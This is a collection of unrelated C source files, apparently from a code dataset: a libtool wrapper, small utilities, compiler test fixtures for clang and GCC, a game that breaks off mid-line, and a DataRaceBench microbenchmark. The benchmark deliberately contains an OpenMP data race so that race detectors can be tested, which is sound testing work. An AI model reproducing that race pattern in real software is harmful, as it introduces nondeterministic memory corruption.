= "%%%MAGIC EXE variable%%%"; const char * LIB_PATH_VARNAME = "PATH"; const char * LIB_PATH_VALUE = "/cygdrive/e/buildlibxml2/jni/libxml2/.libs:/usr/lib:"; const char * EXE_PATH_VARNAME = "PATH"; const char * EXE_PATH_VALUE = "/cygdrive/e/buildlibxml2/jni/libxml2/.libs:/usr/local/lib:/usr/local/bin:"; const char * TARGET_PROGRAM_NAME = "testAutomata"; /* hopefully, no .exe */ #define LTWRAPPER_OPTION_PREFIX "--lt-" #define LTWRAPPER_OPTION_PREFIX_LENGTH 5 static const size_t opt_prefix_len = LTWRAPPER_OPTION_PREFIX_LENGTH; static const char *ltwrapper_option_prefix = LTWRAPPER_OPTION_PREFIX; static const char *dumpscript_opt = LTWRAPPER_OPTION_PREFIX "dump-script"; static const size_t env_set_opt_len = LTWRAPPER_OPTION_PREFIX_LENGTH + 7; static const char *env_set_opt = LTWRAPPER_OPTION_PREFIX "env-set"; /* argument is putenv-style "foo=bar", value of foo is set to bar */ static const size_t env_prepend_opt_len = LTWRAPPER_OPTION_PREFIX_LENGTH + 11; static const char *env_prepend_opt = LTWRAPPER_OPTION_PREFIX "env-prepend"; /* argument is putenv-style "foo=bar", new value of foo is bar${foo} */ static const size_t env_append_opt_len = LTWRAPPER_OPTION_PREFIX_LENGTH + 10; static const char *env_append_opt = LTWRAPPER_OPTION_PREFIX "env-append"; /* argument is putenv-style "foo=bar", new value of foo is ${foo}bar */ int main (int argc, char *argv[]) { char **newargz; int newargc; char *tmp_pathspec; char *actual_cwrapper_path; char *actual_cwrapper_name; char *target_name; char *lt_argv_zero; intptr_t rval = 127; int i; program_name = (char *) xstrdup (base_name (argv[0])); LTWRAPPER_DEBUGPRINTF (("(main) argv[0] : %s\n", argv[0])); LTWRAPPER_DEBUGPRINTF (("(main) program_name : %s\n", program_name)); /* very simple arg parsing; don't want to rely on getopt */ for (i = 1; i < argc; i++) { if (strcmp (argv[i], dumpscript_opt) == 0) { setmode(1,_O_BINARY); printf ("%s", script_text_part1); printf ("%s", script_text_part2); return 0; } } newargz = XMALLOC (char *, argc + 1); tmp_pathspec = find_executable (argv[0]); if (tmp_pathspec == NULL) lt_fatal ("Couldn't find %s", argv[0]); LTWRAPPER_DEBUGPRINTF (("(main) found exe (before symlink chase) at : %s\n", tmp_pathspec)); actual_cwrapper_path = chase_symlinks (tmp_pathspec); LTWRAPPER_DEBUGPRINTF (("(main) found exe (after symlink chase) at : %s\n", actual_cwrapper_path)); XFREE (tmp_pathspec); actual_cwrapper_name = xstrdup( base_name (actual_cwrapper_path)); strendzap (actual_cwrapper_path, actual_cwrapper_name); /* wrapper name transforms */ strendzap (actual_cwrapper_name, ".exe"); tmp_pathspec = lt_extend_str (actual_cwrapper_name, ".exe", 1); XFREE (actual_cwrapper_name); actual_cwrapper_name = tmp_pathspec; tmp_pathspec = 0; /* target_name transforms -- use actual target program name; might have lt- prefix */ target_name = xstrdup (base_name (TARGET_PROGRAM_NAME)); strendzap (target_name, ".exe"); tmp_pathspec = lt_extend_str (target_name, ".exe", 1); XFREE (target_name); target_name = tmp_pathspec; tmp_pathspec = 0; LTWRAPPER_DEBUGPRINTF (("(main) libtool target name: %s\n", target_name)); newargz[0] = XMALLOC (char, (strlen (actual_cwrapper_path) + strlen (".libs") + 1 + strlen (actual_cwrapper_name) + 1)); strcpy (newargz[0], actual_cwrapper_path); strcat (newargz[0], ".libs"); strcat (newargz[0], "/"); /* stop here, and copy so we don't have to do this twice */ tmp_pathspec = xstrdup (newargz[0]); /* do NOT want the lt- prefix here, so use actual_cwrapper_name */ strcat (newargz[0], actual_cwrapper_name); /* DO want the lt- prefix here if it exists, so use target_name */ lt_argv_zero = lt_extend_str (tmp_pathspec, target_name, 1); XFREE (tmp_pathspec); tmp_pathspec = NULL; XFREE (target_name); XFREE (actual_cwrapper_path); XFREE (actual_cwrapper_name); lt_setenv ("BIN_SH", "xpg4"); /* for Tru64 */ lt_setenv ("DUALCASE", "1"); /* for MSK sh */ lt_update_lib_path (LIB_PATH_VARNAME, LIB_PATH_VALUE); lt_update_exe_path (EXE_PATH_VARNAME, EXE_PATH_VALUE); newargc=0; for (i = 1; i < argc; i++) { if (strncmp (argv[i], env_set_opt, env_set_opt_len) == 0) { if (argv[i][env_set_opt_len] == '=') { const char *p = argv[i] + env_set_opt_len + 1; lt_opt_process_env_set (p); } else if (argv[i][env_set_opt_len] == '\0' && i + 1 < argc) { lt_opt_process_env_set (argv[++i]); /* don't copy */ } else lt_fatal ("%s missing required argument", env_set_opt); continue; } if (strncmp (argv[i], env_prepend_opt, env_prepend_opt_len) == 0) { if (argv[i][env_prepend_opt_len] == '=') { const char *p = argv[i] + env_prepend_opt_len + 1; lt_opt_process_env_prepend (p); } else if (argv[i][env_prepend_opt_len] == '\0' && i + 1 < argc) { lt_opt_process_env_prepend (argv[++i]); /* don't copy */ } else lt_fatal ("%s missing required argument", env_prepend_opt); continue; } if (strncmp (argv[i], env_append_opt, env_append_opt_len) == 0) { if (argv[i][env_append_opt_len] == '=') { const char *p = argv[i] + env_append_opt_len + 1; lt_opt_process_env_append (p); } else if (argv[i][env_append_opt_len] == '\0' && i + 1 < argc) { lt_opt_process_env_append (argv[++i]); /* don't copy */ } else lt_fatal ("%s missing required argument", env_append_opt); continue; } if (strncmp (argv[i], ltwrapper_option_prefix, opt_prefix_len) == 0) { /* however, if there is an option in the LTWRAPPER_OPTION_PREFIX namespace, but it is not one of the ones we know about and have already dealt with, above (inluding dump-script), then report an error. Otherwise, targets might begin to believe they are allowed to use options in the LTWRAPPER_OPTION_PREFIX namespace. The first time any user complains about this, we'll need to make LTWRAPPER_OPTION_PREFIX a configure-time option or a configure.ac-settable value. */ lt_fatal ("Unrecognized option in %s namespace: '%s'", ltwrapper_option_prefix, argv[i]); } /* otherwise ... */ newargz[++newargc] = xstrdup (argv[i]); } newargz[++newargc] = NULL; LTWRAPPER_DEBUGPRINTF (("(main) lt_argv_zero : %s\n", (lt_argv_zero ? lt_argv_zero : "<NULL>"))); for (i = 0; i < newargc; i++) { LTWRAPPER_DEBUGPRINTF (("(main) newargz[%d] : %s\n", i, (newargz[i] ? newargz[i] : "<NULL>"))); } execv (lt_argv_zero, newargz); return rval; /* =127, but avoids unused variable warning */ } void * xmalloc (size_t num) { void *p = (void *) malloc (num); if (!p) lt_fatal ("Memory exhausted"); return p; } char * xstrdup (const char *string) { return string ? strcpy ((char *) xmalloc (strlen (string) + 1), string) : NULL; } const char * base_name (const char *name) { const char *base; #if defined (HAVE_DOS_BASED_FILE_SYSTEM) /* Skip over the disk name in MSDOS pathnames. */ if (isalpha ((unsigned char) name[0]) && name[1] == ':') name += 2; #endif for (base = name; *name; name++) if (IS_DIR_SEPARATOR (*name)) base = name + 1; return base; } int check_executable (const char *path) { struct stat st; LTWRAPPER_DEBUGPRINTF (("(check_executable) : %s\n", path ? (*path ? path : "EMPTY!") : "NULL!")); if ((!path) || (!*path)) return 0; if ((stat (path, &st) >= 0) && (st.st_mode & (S_IXUSR | S_IXGRP | S_IXOTH))) return 1; else return 0; } int make_executable (const char *path) { int rval = 0; struct stat st; LTWRAPPER_DEBUGPRINTF (("(make_executable) : %s\n", path ? (*path ? path : "EMPTY!") : "NULL!")); if ((!path) || (!*path)) return 0; if (stat (path, &st) >= 0) { rval = chmod (path, st.st_mode | S_IXOTH | S_IXGRP | S_IXUSR); } return rval; } /* Searches for the full path of the wrapper. Returns newly allocated full path name if found, NULL otherwise Does not chase symlinks, even on platforms that support them. */ char * find_executable (const char *wrapper) { int has_slash = 0; const char *p; const char *p_next; /* static buffer for getcwd */ char tmp[LT_PATHMAX + 1]; int tmp_len; char *concat_name; LTWRAPPER_DEBUGPRINTF (("(find_executable) : %s\n", wrapper ? (*wrapper ? wrapper : "EMPTY!") : "NULL!")); if ((wrapper == NULL) || (*wrapper == '\0')) return NULL; /* Absolute path? */ #if defined (HAVE_DOS_BASED_FILE_SYSTEM) if (isalpha ((unsigned char) wrapper[0]) && wrapper[1] == ':') { concat_name = xstrdup (wrapper); if (check_executable (concat_name)) return concat_name; XFREE (concat_name); } else { #endif if (IS_DIR_SEPARATOR (wrapper[0])) { concat_name = xstrdup (wrapper); if (check_executable (concat_name)) return concat_name; XFREE (concat_name); } #if defined (HAVE_DOS_BASED_FILE_SYSTEM) } #endif for (p = wrapper; *p; p++) if (*p == '/') { has_slash = 1; break; } if (!has_slash) { /* no slashes; search PATH */ const char *path = getenv ("PATH"); if (path != NULL) { for (p = path; *p; p = p_next) { const char *q; size_t p_len; for (q = p; *q; q++) if (IS_PATH_SEPARATOR (*q)) break; p_len = q - p; p_next = (*q == '\0' ? q : q + 1); if (p_len == 0) { /* empty path: current directory */ if (getcwd (tmp, LT_PATHMAX) == NULL) lt_fatal ("getcwd failed"); tmp_len = strlen (tmp); concat_name = XMALLOC (char, tmp_len + 1 + strlen (wrapper) + 1); memcpy (concat_name, tmp, tmp_len); concat_name[tmp_len] = '/'; strcpy (concat_name + tmp_len + 1, wrapper); } else { concat_name = XMALLOC (char, p_len + 1 + strlen (wrapper) + 1); memcpy (concat_name, p, p_len); concat_name[p_len] = '/'; strcpy (concat_name + p_len + 1, wrapper); } if (check_executable (concat_name)) return concat_name; XFREE (concat_name); } } /* not found in PATH; assume curdir */ } /* Relative path | not found in path: prepend cwd */ if (getcwd (tmp, LT_PATHMAX) == NULL) lt_fatal ("getcwd failed"); tmp_len = strlen (tmp); concat_name = XMALLOC (char, tmp_len + 1 + strlen (wrapper) + 1); memcpy (concat_name, tmp, tmp_len); concat_name[tmp_len] = '/'; strcpy (concat_name + tmp_len + 1, wrapper); if (check_executable (concat_name)) return concat_name; XFREE (concat_name); return NULL; } char * chase_symlinks (const char *pathspec) { #ifndef S_ISLNK return xstrdup (pathspec); #else char buf[LT_PATHMAX]; struct stat s; char *tmp_pathspec = xstrdup (pathspec); char *p; int has_symlinks = 0; while (strlen (tmp_pathspec) && !has_symlinks) { LTWRAPPER_DEBUGPRINTF (("checking path component for symlinks: %s\n", tmp_pathspec)); if (lstat (tmp_pathspec, &s) == 0) { if (S_ISLNK (s.st_mode) != 0) { has_symlinks = 1; break; } /* search backwards for last DIR_SEPARATOR */ p = tmp_pathspec + strlen (tmp_pathspec) - 1; while ((p > tmp_pathspec) && (!IS_DIR_SEPARATOR (*p))) p--; if ((p == tmp_pathspec) && (!IS_DIR_SEPARATOR (*p))) { /* no more DIR_SEPARATORS left */ break; } *p = '\0'; } else { char *errstr = strerror (errno); lt_fatal ("Error accessing file %s (%s)", tmp_pathspec, errstr); } } XFREE (tmp_pathspec); if (!has_symlinks) { return xstrdup (pathspec); } tmp_pathspec = realpath (pathspec, buf); if (tmp_pathspec == 0) { lt_fatal ("Could not follow symlinks for %s", pathspec); } return xstrdup (tmp_pathspec); #endif } char * strendzap (char *str, const char *pat) { size_t len, patlen; assert (str != NULL); assert (pat != NULL); len = strlen (str); patlen = strlen (pat); if (patlen <= len) { str += len - patlen; if (strcmp (str, pat) == 0) *str = '\0'; } return str; } static void lt_error_core (int exit_status, const char *mode, const char *message, va_list ap) { fprintf (stderr, "%s: %s: ", program_name, mode); vfprintf (stderr, message, ap); fprintf (stderr, ".\n"); if (exit_status >= 0) exit (exit_status); } void lt_fatal (const char *message, ...) { va_list ap; va_start (ap, message); lt_error_core (EXIT_FAILURE, "FATAL", message, ap); va_end (ap); } void lt_setenv (const char *name, const char *value) { LTWRAPPER_DEBUGPRINTF (("(lt_setenv) setting '%s' to '%s'\n", (name ? name : "<NULL>"), (value ? value : "<NULL>"))); { #ifdef HAVE_SETENV /* always make a copy, for consistency with !HAVE_SETENV */ char *str = xstrdup (value); setenv (name, str, 1); #else int len = strlen (name) + 1 + strlen (value) + 1; char *str = XMALLOC (char, len); sprintf (str, "%s=%s", name, value); if (putenv (str) != EXIT_SUCCESS) { XFREE (str); } #endif } } char * lt_extend_str (const char *orig_value, const char *add, int to_end) { char *new_value; if (orig_value && *orig_value) { int orig_value_len = strlen (orig_value); int add_len = strlen (add); new_value = XMALLOC (char, add_len + orig_value_len + 1); if (to_end) { strcpy (new_value, orig_value); strcpy (new_value + orig_value_len, add); } else { strcpy (new_value, add); strcpy (new_value + add_len, orig_value); } } else { new_value = xstrdup (add); } return new_value; } int lt_split_name_value (const char *arg, char** name, char** value) { const char *p; int len; if (!arg || !*arg) return 1; p = strchr (arg, (int)'='); if (!p) return 1; *value = xstrdup (++p); len = strlen (arg) - strlen (*value); *name = XMALLOC (char, len); strncpy (*name, arg, len-1); (*name)[len - 1] = '\0'; return 0; } void lt_opt_process_env_set (const char *arg) { char *name = NULL; char *value = NULL; if (lt_split_name_value (arg, &name, &value) != 0) { XFREE (name); XFREE (value); lt_fatal ("bad argument for %s: '%s'", env_set_opt, arg); } lt_setenv (name, value); XFREE (name); XFREE (value); } void lt_opt_process_env_prepend (const char *arg) { char *name = NULL; char *value = NULL; char *new_value = NULL; if (lt_split_name_value (arg, &name, &value) != 0) { XFREE (name); XFREE (value); lt_fatal ("bad argument for %s: '%s'", env_prepend_opt, arg); } new_value = lt_extend_str (getenv (name), value, 0); lt_setenv (name, new_value); XFREE (new_value); XFREE (name); XFREE (value); } void lt_opt_process_env_append (const char *arg) { char *name = NULL; char *value = NULL; char *new_value = NULL; if (lt_split_name_value (arg, &name, &value) != 0) { XFREE (name); XFREE (value); lt_fatal ("bad argument for %s: '%s'", env_append_opt, arg); } new_value = lt_extend_str (getenv (name), value, 1); lt_setenv (name, new_value); XFREE (new_value); XFREE (name); XFREE (value); } void lt_update_exe_path (const char *name, const char *value) { LTWRAPPER_DEBUGPRINTF (("(lt_update_exe_path) modifying '%s' by prepending '%s'\n", (name ? name : "<NULL>"), (value ? value : "<NULL>"))); if (name && *name && value && *value) { char *new_value = lt_extend_str (getenv (name), value, 0); /* some systems can't cope with a ':'-terminated path #' */ int len = strlen (new_value); while (((len = strlen (new_value)) > 0) && IS_PATH_SEPARATOR (new_value[len-1])) { new_value[len-1] = '\0'; } lt_setenv (name, new_value); XFREE (new_value); } } void lt_update_lib_path (const char *name, const char *value) { LTWRAPPER_DEBUGPRINTF (("(lt_update_lib_path) modifying '%s' by prepending '%s'\n", (name ? name : "<NULL>"), (value ? value : "<NULL>"))); if (name && *name && value && *value) { char *new_value = lt_extend_str (getenv (name), value, 0); lt_setenv (name, new_value); XFREE (new_value); } }
the_stack_data/237643881.c
int getSum(int a, int b) { int carry = 0, bit, sum = 0, i; for(i = 0; i < sizeof(int) * 8; i++) { bit = 1 << i; if(carry) { if((a & bit) || (b & bit)) { sum |= ((a & bit) & (b & bit)); } else { sum |= bit; carry = 0; } } else { if((a & bit) && (b & bit)) { carry = 1; } else { sum |= ((a & bit) | (b & bit)); } } } return sum; }
the_stack_data/144127.c
#include <stdio.h> #include <unistd.h> #include <sys/types.h> int main() { int num, ret; printf("Enter num : %d", num); ret = fork(); if(ret == 0){ printf("Child Output : %d \n", (num * 10)); }else { printf("Parent Ouput : %d \n", (num / 5)); } }
the_stack_data/89199876.c
/* Generated by CIL v. 1.7.0 */ /* print_CIL_Input is false */ struct _IO_FILE; struct timeval; extern void signal(int sig , void *func ) ; extern float strtof(char const *str , char const *endptr ) ; typedef struct _IO_FILE FILE; extern int atoi(char const *s ) ; extern double strtod(char const *str , char const *endptr ) ; extern int fclose(void *stream ) ; extern void *fopen(char const *filename , char const *mode ) ; extern void abort() ; extern void exit(int status ) ; extern int raise(int sig ) ; extern int fprintf(struct _IO_FILE *stream , char const *format , ...) ; extern int strcmp(char const *a , char const *b ) ; extern int rand() ; extern unsigned long strtoul(char const *str , char const *endptr , int base ) ; void RandomFunc(unsigned int input[1] , unsigned int output[1] ) ; extern int strncmp(char const *s1 , char const *s2 , unsigned long maxlen ) ; extern int gettimeofday(struct timeval *tv , void *tz , ...) ; extern int printf(char const *format , ...) ; int main(int argc , char *argv[] ) ; void megaInit(void) ; extern unsigned long strlen(char const *s ) ; extern long strtol(char const *str , char const *endptr , int base ) ; extern unsigned long strnlen(char const *s , unsigned long maxlen ) ; extern void *memcpy(void *s1 , void const *s2 , unsigned long size ) ; struct timeval { long tv_sec ; long tv_usec ; }; extern void *malloc(unsigned long size ) ; extern int scanf(char const *format , ...) ; void megaInit(void) { { } } void RandomFunc(unsigned int input[1] , unsigned int output[1] ) { unsigned int state[1] ; unsigned int local1 ; char copy11 ; unsigned short copy16 ; char copy17 ; { state[0UL] = (input[0UL] + 914778474UL) * 2674260758U; local1 = 0UL; while (local1 < input[1UL]) { if (state[0UL] < local1) { copy11 = *((char *)(& state[0UL]) + 0); *((char *)(& state[0UL]) + 0) = *((char *)(& state[0UL]) + 3); *((char *)(& state[0UL]) + 3) = copy11; } if (state[0UL] <= local1) { copy16 = *((unsigned short *)(& state[0UL]) + 0); *((unsigned short *)(& state[0UL]) + 0) = *((unsigned short *)(& state[0UL]) + 1); *((unsigned short *)(& state[0UL]) + 1) = copy16; } else { copy17 = *((char *)(& state[local1]) + 3); *((char *)(& state[local1]) + 3) = *((char *)(& state[local1]) + 1); *((char *)(& state[local1]) + 1) = copy17; state[0UL] += state[0UL]; } local1 ++; } output[0UL] = (state[0UL] + 289949124UL) + 1674481414U; } } int main(int argc , char *argv[] ) { unsigned int input[1] ; unsigned int output[1] ; int randomFuns_i5 ; unsigned int randomFuns_value6 ; int randomFuns_main_i7 ; { megaInit(); if (argc != 2) { printf("Call this program with %i arguments\n", 1); exit(-1); } else { } randomFuns_i5 = 0; while (randomFuns_i5 < 1) { randomFuns_value6 = (unsigned int )strtoul(argv[randomFuns_i5 + 1], 0, 10); input[randomFuns_i5] = randomFuns_value6; randomFuns_i5 ++; } RandomFunc(input, output); if (output[0] == 4242424242U) { printf("You win!\n"); } else { } randomFuns_main_i7 = 0; while (randomFuns_main_i7 < 1) { printf("%u\n", output[randomFuns_main_i7]); randomFuns_main_i7 ++; } } }
the_stack_data/117328442.c
#define _CRT_SECURE_NO_WARNINGS #include <stdio.h> int main() { printf("Input Won\n"); return 0; }
the_stack_data/764297.c
/*int muladd(int a[100][100], int b[100], int c[100], int d[100]) { int i, j, k; //BEGIN_FPGA_muladd_HRE for(i = 0; i < 100; i++) { c[i] = c[i] + c[i] + d[2*i+1]; for(j = 0; j < 100; j++) { d[2*i] = c[i] + a[i][j] * b[j]; c[i] = a[i][j] * b[j]; c[i] = a[i][j] * b[j] + d[2*i+1]; b[j] = c[i] * d[2*i] + 3; } c[i] = c[i] + d[2*i]; d[2*i-1] = d[2*i-1] + 2; for(k = 0; k < 100; k++) { d[2*i-1] = c[i] + a[i][k] * b[k]; c[i] = a[i][k] * b[k]; c[i] = a[i][k] * b[k] + d[2*i+1] + d[2*i-1]; b[k] = c[i] * d[2*i] + 3; } d[2*i-1] = c[i]; } //END_FPGA_muladd_HRE return 0; } */ void muladd(int a[100][100], int b[100], int c[100], int d[100]) { int i, j, k; //BEGIN_FPGA_muladd_HRE for(i = 0; i < 100; i++) { c[i] = c[i] + d[i]; for(j = 0; j < 100; j++) { c[i] = c[i] + a[i][j] * b[j]; } } //END_FPGA_muladd_HRE return; } int main(int argc, char* args) { int a[100][100], b[100], c[100], d[100]; muladd(a, b, c, d); return 0; }
the_stack_data/165768175.c
// Generate instrumentation and sampling profile data. // RUN: llvm-profdata merge \ // RUN: %S/Inputs/optimization-remark-with-hotness.proftext \ // RUN: -o %t.profdata // RUN: llvm-profdata merge -sample \ // RUN: %S/Inputs/optimization-remark-with-hotness-sample.proftext \ // RUN: -o %t-sample.profdata // // RUN: %clang_cc1 -triple x86_64-apple-macosx10.9 -main-file-name \ // RUN: optimization-remark-with-hotness.c %s -emit-llvm-only \ // RUN: -fprofile-instrument-use-path=%t.profdata -Rpass=inline \ // RUN: -Rpass-analysis=inline -Rpass-missed=inline \ // RUN: -fdiagnostics-show-hotness -verify // RUN: %clang_cc1 -triple x86_64-apple-macosx10.9 -main-file-name \ // RUN: optimization-remark-with-hotness.c %s -emit-llvm-only \ // RUN: -fprofile-sample-use=%t-sample.profdata -Rpass=inline \ // RUN: -Rpass-analysis=inline -Rpass-missed=inline \ // RUN: -fdiagnostics-show-hotness -fdiagnostics-hotness-threshold=10 \ // RUN: -verify // The clang version of the previous test. // RUN: %clang -target x86_64-apple-macosx10.9 %s -c -emit-llvm -o /dev/null \ // RUN: -fprofile-instr-use=%t.profdata -Rpass=inline \ // RUN: -Rpass-analysis=inline -Rpass-missed=inline \ // RUN: -fdiagnostics-show-hotness -fdiagnostics-hotness-threshold=10 \ // RUN: -Xclang -verify // RUN: %clang_cc1 -triple x86_64-apple-macosx10.9 -main-file-name \ // RUN: optimization-remark-with-hotness.c %s -emit-llvm-only \ // RUN: -fprofile-instrument-use-path=%t.profdata -Rpass=inline \ // RUN: -Rpass-analysis=inline 2>&1 | FileCheck -check-prefix=HOTNESS_OFF %s // RUN: %clang_cc1 -triple x86_64-apple-macosx10.9 -main-file-name \ // RUN: optimization-remark-with-hotness.c %s -emit-llvm-only \ // RUN: -fprofile-instrument-use-path=%t.profdata -Rpass=inline \ // RUN: -Rpass-analysis=inline -Rno-pass-with-hotness 2>&1 | FileCheck \ // RUN: -check-prefix=HOTNESS_OFF %s // RUN: %clang_cc1 -triple x86_64-apple-macosx10.9 -main-file-name \ // RUN: optimization-remark-with-hotness.c %s -emit-llvm-only \ // RUN: -fprofile-instrument-use-path=%t.profdata -Rpass=inline \ // RUN: -Rpass-analysis=inline -fdiagnostics-show-hotness \ // RUN: -fdiagnostics-hotness-threshold=100 2>&1 \ // RUN: | FileCheck -allow-empty -check-prefix=THRESHOLD %s // RUN: %clang_cc1 -triple x86_64-apple-macosx10.9 -main-file-name \ // RUN: optimization-remark-with-hotness.c %s -emit-llvm-only \ // RUN: -Rpass=inline -Rpass-analysis=inline \ // RUN: -fdiagnostics-show-hotness -fdiagnostics-hotness-threshold=10 2>&1 \ // RUN: | FileCheck -check-prefix=NO_PGO %s int foo(int x, int y) __attribute__((always_inline)); int foo(int x, int y) { return x + y; } int sum = 0; void bar(int x) { // HOTNESS_OFF: foo inlined into bar // HOTNESS_OFF-NOT: hotness: // THRESHOLD-NOT: inlined // THRESHOLD-NOT: hotness // NO_PGO: '-fdiagnostics-show-hotness' requires profile-guided optimization information // NO_PGO: '-fdiagnostics-hotness-threshold=' requires profile-guided optimization information // expected-remark@+2 {{foo should always be inlined (cost=always) (hotness: 30)}} // expected-remark@+1 {{foo inlined into bar (hotness: 30)}} sum += foo(x, x - 2); } int main(int argc, const char *argv[]) { for (int i = 0; i < 30; i++) // expected-remark@+1 {{bar not inlined into main because it should never be inlined}} bar(argc); return sum; }
the_stack_data/225144599.c
/* Check the case when index is out of bound */ /* { dg-do compile } */ /* { dg-options "-Warray-bounds" } */ #define vector __attribute__((vector_size(16) )) int test0(void) { vector int a; return a[10]; /* { dg-warning "index value is out of bound" } */ } int test1(void) { vector int a; return a[-1]; /* { dg-warning "index value is out of bound" } */ }
the_stack_data/959206.c
/* Copyright (c) 2017, Lawrence Livermore National Security, LLC. Produced at the Lawrence Livermore National Laboratory Written by Chunhua Liao, Pei-Hung Lin, Joshua Asplund, Markus Schordan, and Ian Karlin (email: [email protected], [email protected], [email protected], [email protected], [email protected]) LLNL-CODE-732144 All rights reserved. This file is part of DataRaceBench. For details, see https://github.com/LLNL/dataracebench. Please also see the LICENSE file for our additional BSD notice. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the disclaimer below. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the disclaimer (as noted below) in the documentation and/or other materials provided with the distribution. * Neither the name of the LLNS/LLNL nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL LAWRENCE LIVERMORE NATIONAL SECURITY, LLC, THE U.S. DEPARTMENT OF ENERGY OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* Two pointers have a distance of 12 (p1 - p2 = 12). They are used as base addresses for indirect array accesses using an index set (another array). The index set has two indices with a distance of 12 : indexSet[5]- indexSet[0] = 533 - 521 = 12 So there is loop carried dependence (e.g. between loops with index values of 0 and 5). We use the default loop scheduling (static even) in OpenMP. It is possible that two dependent iterations will be scheduled within a same chunk to a same thread. So there is no runtime data races. When N is 180, two iteraions with N=0 and N= 5 have loop carried dependences. For static even scheduling, we must have at least 36 threads (180/36=5 iterations) so iteration 0 and 5 will be scheduled to two different threads. Data race pair: xa1[idx]@128:5 vs. xa2[idx]@129:5 */ #include <assert.h> #include <stdio.h> #include <stdlib.h> #define N 180 int indexSet[N] = { 521, 523, 525, 527, 529, 533, // 521+12=533 547, 549, 551, 553, 555, 557, 573, 575, 577, 579, 581, 583, 599, 601, 603, 605, 607, 609, 625, 627, 629, 631, 633, 635, 651, 653, 655, 657, 659, 661, 859, 861, 863, 865, 867, 869, 885, 887, 889, 891, 893, 895, 911, 913, 915, 917, 919, 921, 937, 939, 941, 943, 945, 947, 963, 965, 967, 969, 971, 973, 989, 991, 993, 995, 997, 999, 1197, 1199, 1201, 1203, 1205, 1207, 1223, 1225, 1227, 1229, 1231, 1233, 1249, 1251, 1253, 1255, 1257, 1259, 1275, 1277, 1279, 1281, 1283, 1285, 1301, 1303, 1305, 1307, 1309, 1311, 1327, 1329, 1331, 1333, 1335, 1337, 1535, 1537, 1539, 1541, 1543, 1545, 1561, 1563, 1565, 1567, 1569, 1571, 1587, 1589, 1591, 1593, 1595, 1597, 1613, 1615, 1617, 1619, 1621, 1623, 1639, 1641, 1643, 1645, 1647, 1649, 1665, 1667, 1669, 1671, 1673, 1675, 1873, 1875, 1877, 1879, 1881, 1883, 1899, 1901, 1903, 1905, 1907, 1909, 1925, 1927, 1929, 1931, 1933, 1935, 1951, 1953, 1955, 1957, 1959, 1961, 1977, 1979, 1981, 1983, 1985, 1987, 2003, 2005, 2007, 2009, 2011, 2013}; int main (int argc, char* argv[]) { double * base = (double*) malloc(sizeof(double)* (2013+12+1)); if (base == 0) { printf ("Error in malloc(). Aborting ...\n"); return 1; } double * xa1 = base; double * xa2 = xa1 + 12; int i; // initialize segments touched by indexSet for (i =521; i<= 2025; ++i) { base[i]=0.5*i; } #pragma omp parallel for schedule(dynamic) // default static even scheduling may not trigger data race! for (i =0; i< N; ++i) { int idx = indexSet[i]; xa1[idx]+= 1.0; xa2[idx]+= 3.0; } printf("x1[999]=%f xa2[1285]=%f\n", xa1[999], xa2[1285]); free (base); return 0; }
the_stack_data/26701131.c
/* Pickup Pile ver 2007-Dec-31 * by Joseph Larson (c) 2008 * Inspired by a BASIC game Batnum by John Kemeny * as found in 'BASIC Computer Games' edited by David H. Ahl (c) 1978 */ #include <stdio.h> #include <stdlib.h> #include <time.h> #include <ctype.h> /* RANDOM(x) returns a random number between 0 and x. * Setup this way it works slighty better than rand() % x. */ #define RANDOM(x) ((int) rand() / ((float)(RAND_MAX + 1) / x)) #define MAXW 79 int num, max, min; int takelast, comfirst; int skill; void intro () { printf ("\nPick Up Pile\n------\n" "Pick Up Pile is a game with many variations on the same idea.\n" "You and the computer each take turns picking up items from an\n" "imaginary pile of objects. Depending on the type of game you choose\n" "to play you will have different restrictions on how much you can\n" "pick up at a time, and whether you want to be the one to pick up the\n" "last piece or not.\n" "The traditional setup is 23 matches, but you can play any variation.\n"); } void random_setup () { num = RANDOM (25) + 10; max = RANDOM (5) + 3; do min = RANDOM (3) + 1; while ( max < min ); takelast = RANDOM (2); comfirst = RANDOM (2); } void custom_setup() { char yesno; printf ("\nChoose the size of the pile (at least 3) "); do scanf("%d", &num); while (num < 3); printf ("\nWhat is the least that can be taken in a turn? "); do scanf("%d", &min); while (min <= 0); printf ("\nWhat is the most that can be taken in a turn (at least %d)? ", min + 1); do scanf("%d", &max); while (max < min); printf ("\nShould the winner take the last peace? (y/n)"); do scanf("%c", &yesno); while (yesno != 'y' && yesno != 'Y' && yesno != 'n' && yesno != 'N'); switch (yesno) { case 'y': case 'Y': takelast = 1; break; case 'n': case 'N': takelast = 0; } printf ("\nDo you want to go first? (y/n)"); do scanf("%c", &yesno); while (yesno != 'y' && yesno != 'Y' && yesno != 'n' && yesno != 'N'); switch (yesno) { case 'y': case'Y': comfirst = 0; break; case 'n': case 'N': comfirst = 1; } } int humanmove() { int input; printf ("\nHow many do you want to take (%d - %d) ", (min > num) ? num : min, (max > num) ? num : max); input = 0; do { if (input) printf ("\nInvalid move. Try again. "); scanf ("%d", &input); if (num <= min) input = (input == num) ? input : -1; else if (input < min || input > max || input > num) input = -1; } while (input < 0); num -= input; printf ("You leave %d", num); return ((num) ? 0 : (takelast)? 1 : 2); } int compmove () { int c; int move; c = min + max; move = num - !takelast; move = move % c; if (move < min || move > max || skill < RANDOM(5)) move = RANDOM((max - min + 1)) + min; if (move > num) move = num; num -= 